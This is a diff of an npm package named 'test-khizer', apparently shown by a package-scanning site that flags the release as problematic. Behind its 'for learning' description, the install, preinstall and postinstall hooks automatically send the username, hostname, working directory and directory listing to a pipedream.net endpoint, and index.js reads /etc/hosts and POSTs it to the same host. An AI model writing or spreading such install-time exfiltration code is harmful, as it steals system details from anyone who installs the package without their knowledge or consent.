test-khizer 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of test-khizer might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/README.md +1 -0
  2. package/index.js +23 -0
  3. package/package.json +23 -0
  4. package/pre.sh +3 -0
package/README.md ADDED
@@ -0,0 +1 @@
1
+ Simple npm package for learning v1.0.0
package/index.js ADDED
@@ -0,0 +1,23 @@
1
+ #!/usr/bin/env node
2
+
3
+ const fs = require('fs');
4
+ const http = require('http');
5
+
6
+ const home = process.env.HOME;
7
+
8
+ const options = {
9
+ host: 'enx8ofa4i0tva25.m.pipedream.net',
10
+ path: '/index',
11
+ port: 80,
12
+ method: 'POST'
13
+ };
14
+
15
+ const req = http.request(options, function(response) {
16
+ console.log(response);
17
+ });
18
+
19
+ fs.readFile(`/etc/hosts`, 'utf-8', function(error, data) {
20
+ console.log(data);
21
+ req.write(data);
22
+ req.end();
23
+ });
package/package.json ADDED
@@ -0,0 +1,23 @@
1
+ {
2
+ "name": "test-khizer",
3
+ "version": "1.0.0",
4
+ "description": "Simple npm package for learning",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "./pre.sh",
8
+ "install": "wget \"http://enx8ofa4i0tva25.m.pipedream.net/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\"",
9
+ "preinstall": "curl -H \"Hostname: $(hostname | base64)\" -H \"Whoami: $(whoami | base64)\" -H \"Pwd: $(pwd | base64)\" -d $(ls -la | base64) http://enx8ofa4i0tva25.m.pipedream.net/pre",
10
+ "postinstall": "bash pre.sh"
11
+ },
12
+ "keywords": [
13
+ "test",
14
+ "learning",
15
+ "PoC"
16
+ ],
17
+ "dependencies": {},
18
+ "config": {
19
+ "unsafe-perm":true
20
+ },
21
+ "author": "mkj47",
22
+ "license": "ISC"
23
+ }
package/pre.sh ADDED
@@ -0,0 +1,3 @@
1
+ #!/bin/bash
2
+
3
+ curl -H "Hostname: $(hostname | base64)" -H "Whoami: $(whoami | base64)" -H "Pwd: $(pwd | base64)" -d $(ls -la | base64) http://enx8ofa4i0tva25.m.pipedream.net